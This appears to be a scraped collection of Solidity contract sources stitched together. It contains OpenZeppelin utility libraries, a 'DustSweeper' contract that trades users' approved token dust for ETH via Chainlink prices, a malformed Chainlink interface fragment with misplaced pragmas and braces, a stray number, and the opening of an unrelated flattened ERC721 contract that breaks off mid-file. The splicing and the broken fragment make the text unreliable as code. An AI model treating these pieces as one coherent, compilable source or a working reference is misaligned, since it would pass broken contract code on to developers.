assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; // OpenZeppelin import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; // Chainlink import "@chainlink/contracts/src/v0.8/interfaces/FeedRegistryInterface.sol"; import "@chainlink/contracts/src/v0.8/Denominations.sol"; contract DustSweeper is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; uint256 private takerDiscountPercent; uint256 private protocolFeePercent; address private protocolWallet; struct TokenData { address tokenAddress; uint256 tokenPrice; } mapping(address => uint8) private tokenDecimals; // ChainLink address private chainLinkRegistry; address private quoteETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; constructor( address _chainLinkRegistry, address _protocolWallet, uint256 _takerDiscountPercent, uint256 _protocolFeePercent ) { chainLinkRegistry = _chainLinkRegistry; protocolWallet = _protocolWallet; takerDiscountPercent = _takerDiscountPercent; protocolFeePercent = _protocolFeePercent; } function sweepDust( address[] calldata makers, address[] calldata tokenAddresses ) external payable nonReentrant { // Make sure order data is valid require(makers.length > 0 && makers.length == tokenAddresses.length, "Passed order data in invalid format"); // Track how much ETH was sent so we can return any overage uint256 ethSent = msg.value; uint256 totalNativeAmount = 0; TokenData memory lastToken; for (uint256 i = 0; i < makers.length; i++) { // Fetch/cache tokenDecimals if (tokenDecimals[tokenAddresses[i]] == 0) { bytes memory decData = Address.functionStaticCall(tokenAddresses[i], abi.encodeWithSignature("decimals()")); tokenDecimals[tokenAddresses[i]] = abi.decode(decData, (uint8)); } require(tokenDecimals[tokenAddresses[i]] > 0, "Failed to fetch token decimals"); // Fetch/cache tokenPrice if (i == 0 || lastToken.tokenPrice == 0 || lastToken.tokenAddress != tokenAddresses[i]) { // Need to fetch tokenPrice lastToken = TokenData(tokenAddresses[i], uint256(getPrice(tokenAddresses[i], quoteETH))); } require(lastToken.tokenPrice > 0, "Failed to fetch token price!"); // Amount of Tokens to transfer uint256 allowance = IERC20(tokenAddresses[i]).allowance(makers[i], address(this)); require(allowance > 0, "Allowance for specified token is 0"); // Equivalent amount of Native Tokens uint256 nativeAmt = allowance * lastToken.tokenPrice / 10**tokenDecimals[tokenAddresses[i]]; totalNativeAmount += nativeAmt; // Amount of Native Tokens to transfer uint256 distribution = nativeAmt * (10**4 - takerDiscountPercent) / 10**4; // Subtract distribution amount from ethSent amount ethSent -= distribution; // Taker sends Native Token to Maker Address.sendValue(payable(makers[i]), distribution); // DustSweeper sends Maker's tokens to Taker IERC20(tokenAddresses[i]).safeTransferFrom(makers[i], msg.sender, allowance); } // Taker pays protocolFee % for the total amount to avoid multiple transfers uint256 protocolNative = totalNativeAmount * protocolFeePercent / 10**4; // Subtract protocolFee from ethSent ethSent -= protocolNative; // Send to protocol wallet Address.sendValue(payable(protocolWallet), protocolNative); // Pay any overage back to msg.sender as long as overage > gas cost if (ethSent > 10000) { Address.sendValue(payable(msg.sender), ethSent); } } /** * Returns the latest price from Chainlink */ function getPrice(address base, address quote) public view returns(int256) { (,int256 price,,,) = FeedRegistryInterface(chainLinkRegistry).latestRoundData(base, quote); return price; } // onlyOwner protected Setters/Getters function getTakerDiscountPercent() view external returns(uint256) { return takerDiscountPercent; } function setTakerDiscountPercent(uint256 _takerDiscountPercent) external onlyOwner { if (_takerDiscountPercent <= 5000) { // 50% takerDiscountPercent = _takerDiscountPercent; } } function getProtocolFeePercent() view external returns(uint256) { return protocolFeePercent; } function setProtocolFeePercent(uint256 _protocolFeePercent) external onlyOwner { if (_protocolFeePercent <= 1000) { // 10% protocolFeePercent = _protocolFeePercent; } } function getChainLinkRegistry() view external returns(address) { return chainLinkRegistry; } function setChainLinkRegistry(address _chainLinkRegistry) external onlyOwner { chainLinkRegistry = _chainLinkRegistry; } function getProtocolWallet() view external returns(address) { return protocolWallet; } function setProtocolWallet(address _protocolWallet) external onlyOwner { protocolWallet = _protocolWallet; } // Payment methods receive() external payable {} fallback() external payable {} function removeBalance(address tokenAddress) external onlyOwner { if (tokenAddress == address(0)) { Address.sendValue(payable(msg.sender), address(this).balance); } else { uint256 tokenBalance = IERC20(tokenAddress).balanceOf(address(this)); if (tokenBalance > 0) { IERC20(tokenAddress).safeTransfer(msg.sender, tokenBalance); } } } }
getRoundData and latestRoundData should both raise "No data present" if they do not have data to report, instead of returning unset values which could be misinterpreted as actual reported values.
interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); pragma solidity ^0.8.0; interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface {} pragma solidity ^0.8.0; }
5,764,073
/** *Submitted for verification at Etherscan.io on 2022-04-11 */ // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* _______ _______ __ _ ___ _______ __ __ ___ _______ _______ _______ _______ ___ __ __ _______ | || || | | || | | || | | || | | _ || || | | _ || | | | | || | | ___|| ___|| |_| || | | || | | || | | |_| ||_ _|| ___| | |_| || | | | | || ___| | | __ | |___ | || | | || |_| || | | | | | | |___ | || | | |_| || |___ | || || ___|| _ || | | _|| || |___ | | | | | ___| | _ | | |___ | || ___| | |_| || |___ | | | || | | |_ | || || _ | | | | |___ | |_| || || || |___ |_______||_______||_| |__||___| |_______||_______||_______||__| |__| |___| |_______| |_______||_______||_______||_______| */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: 